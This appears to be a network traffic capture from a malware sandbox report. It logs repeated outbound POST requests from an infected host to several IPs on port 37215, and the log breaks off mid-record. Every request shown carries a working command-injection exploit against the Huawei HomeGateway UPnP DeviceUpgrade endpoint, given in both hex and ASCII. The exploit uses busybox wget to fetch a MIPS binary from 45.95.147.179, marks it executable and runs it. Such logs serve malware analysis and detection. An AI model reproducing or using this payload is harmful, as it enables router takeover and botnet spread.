Jan 22, 2024 04:00:16.724819899 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:18.480578899 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:21.996603966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:29.020566940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:43.052679062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:11.148613930 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.20	34352	154.206.168.40	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:15.721513987 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.20	50748	156.247.27.103	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:16.403214931 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:17.880587101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:19.660648108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 